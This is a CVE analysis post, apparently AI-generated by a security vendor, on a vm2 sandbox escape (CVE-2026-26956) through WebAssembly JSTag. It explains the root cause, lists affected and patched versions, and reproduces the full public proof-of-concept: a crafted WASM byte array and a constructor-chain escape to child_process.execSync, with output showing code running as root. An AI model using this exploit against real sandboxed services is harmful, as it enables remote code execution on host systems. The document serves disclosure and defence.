vm2 Sandbox Escape via WebAssembly JSTag (CVE-2026-26956): Technical Breakdown with Public PoC

A brief summary of CVE-2026-26956, a critical CVSS 9.8 sandbox escape in vm2 version 3.10.4 that leverages WebAssembly JSTag exception handling to achieve arbitrary code execution on the host. Includes the publicly available proof of concept and mitigation guidance.

CVE Analysis

8 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-05-04

vm2 Sandbox Escape via WebAssembly JSTag (CVE-2026-26956): Technical Breakdown with Public PoC
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single WebAssembly instruction is all it takes to completely bypass vm2's sandbox and gain arbitrary code execution on the host. CVE-2026-26956, scored at CVSS 9.8, demonstrates that vm2's JavaScript level isolation model has a blind spot that sits below the language runtime itself.

vm2 is an open source sandboxing library for Node.js that allows developers to execute untrusted JavaScript code in an isolated context. With 898 npm dependents and hundreds of thousands of weekly downloads, it is one of the most widely used sandboxing solutions in the Node.js ecosystem. It is commonly embedded in platforms that evaluate user submitted code, plugin systems, and serverless function runners.

Technical Information

Root Cause

vm2's sandbox security rests on two JavaScript level mechanisms:

  1. Code transformer: Injects handleException() calls into all catch clauses within sandboxed code, ensuring that any exception objects are sanitized before the guest code can inspect them.
  2. Bridge Proxies: Wrap cross context objects so that guest code cannot directly access host realm references.

Both of these defenses operate entirely within the JavaScript layer. The root cause of CVE-2026-26956 is that WebAssembly's try_table instruction with a JSTag catch handler intercepts JavaScript exceptions at V8's C++ level, completely below JavaScript. This means vm2's code transformer never gets a chance to sanitize the caught exception, and the bridge Proxies are never consulted.

The vulnerability is classified under CWE-693 (Protection Mechanism Failure), which accurately describes the situation: the protection mechanism exists but can be entirely circumvented by operating at a lower abstraction layer.

Attack Flow

The exploitation chain proceeds through several well defined stages:

Step 1: Trigger a host realm TypeError. The attacker creates an Error object inside the sandbox and sets its name property to a Symbol(). When err.stack is accessed, V8 internally attempts to coerce the Symbol to a string during stack trace formatting, which produces a TypeError. Critically, this TypeError is created in the host realm, not the sandbox realm.

Step 2: Catch the error via WebAssembly JSTag. The attacker constructs a WebAssembly module containing a try_table instruction with a JSTag catch handler. The module imports a JavaScript trigger function that forces the TypeError (by accessing err.stack), and also imports WebAssembly.JSTag as the tag to catch. When the trigger function throws, the try_table catches the JavaScript exception at the V8 C++ level and returns it as an opaque externref value, which is then returned as a normal function return value from the exported WASM function.

Step 3: Traverse the constructor chain. The returned externref is the unsanitized host realm TypeError. The attacker accesses hostError.constructor.constructor, which resolves to the host realm's Function constructor. Calling hostError.constructor.constructor("return process")() returns the host process object.

Step 4: Achieve RCE. With the host process object, the attacker calls p.mainModule.require("child_process").execSync("id") or any other system command, achieving full remote code execution on the host.

The entire chain requires no privileges, no user interaction, and operates over a network attack vector with low complexity.

The WebAssembly Module

The binary WebAssembly module used in the exploit is compact. It defines:

  • An import for env.trigger (the JavaScript function that forces the TypeError)
  • An import for js.tag (bound to WebAssembly.JSTag)
  • A single exported function catch_error that wraps the trigger call in a try_table with a JSTag catch clause

This is a legitimate use of the WebAssembly exception handling proposal, which makes it particularly difficult to defend against without explicitly blocking WebAssembly.JSTag in the sandbox.

Proof of Concept

A fully functional proof of concept was published directly in the GitHub security advisory GHSA-ffh4-j6h5-pg66 by researcher @0x5t. The following is the complete PoC:

const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version); new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([\ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\ 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\ 0x02,0x19,0x02,\ 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\ 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\ 0x03,0x02,0x01,0x01,\ 0x07,0x0f,0x01,\ 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\ 0x0a,0x12,0x01,0x10,0x00,\ 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\ ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); `);

The advisory includes demonstrated output confirming full code execution as root:

> node poc.js
vm2: 3.10.4 | node: v25.6.1

process before escape: undefined
process after escape:  object
host pid:              217
host node version:     v25.6.1
RCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

The PoC requires vm2 v3.10.4 and Node.js v25+ with WebAssembly exception handling and JSTag support.

Affected Systems and Versions

The vulnerability affects the following specific configuration:

  • vm2 version 3.10.4 is confirmed vulnerable
  • Node.js v25.6.1 is the confirmed exploitation environment
  • The exploit specifically requires a Node.js version that supports WebAssembly exception handling and the JSTag API (Node.js 25 and later)
  • The vulnerability is patched in vm2 version 3.10.5

Environments running vm2 3.10.4 on Node.js versions prior to 25 are not affected by this specific escape vector, as those versions do not support WebAssembly.JSTag. However, version 3.10.5 also addresses several other sandbox escape vectors unrelated to WebAssembly, so upgrading is recommended regardless of Node.js version.

Vendor Security History

This is not the first critical sandbox escape disclosed for vm2 in 2026. Earlier in the year, CVE-2026-22709 was identified in version 3.10.0, involving a gap in Promise callback sanitization that also led to a critical sandbox escape enabling arbitrary code execution. The recurring discovery of these complex escape vectors points to a fundamental challenge: maintaining a JavaScript level sandbox against an ever expanding language and runtime surface area (WebAssembly, new error types, new introspection APIs). The vm2 maintainers have been responsive in patching, but organizations relying on vm2 for high assurance isolation should evaluate whether additional defense layers or alternative isolation approaches (such as process level or OS level sandboxing) are warranted.

References

Detect & fix
what others miss

Security magnifying glass visualization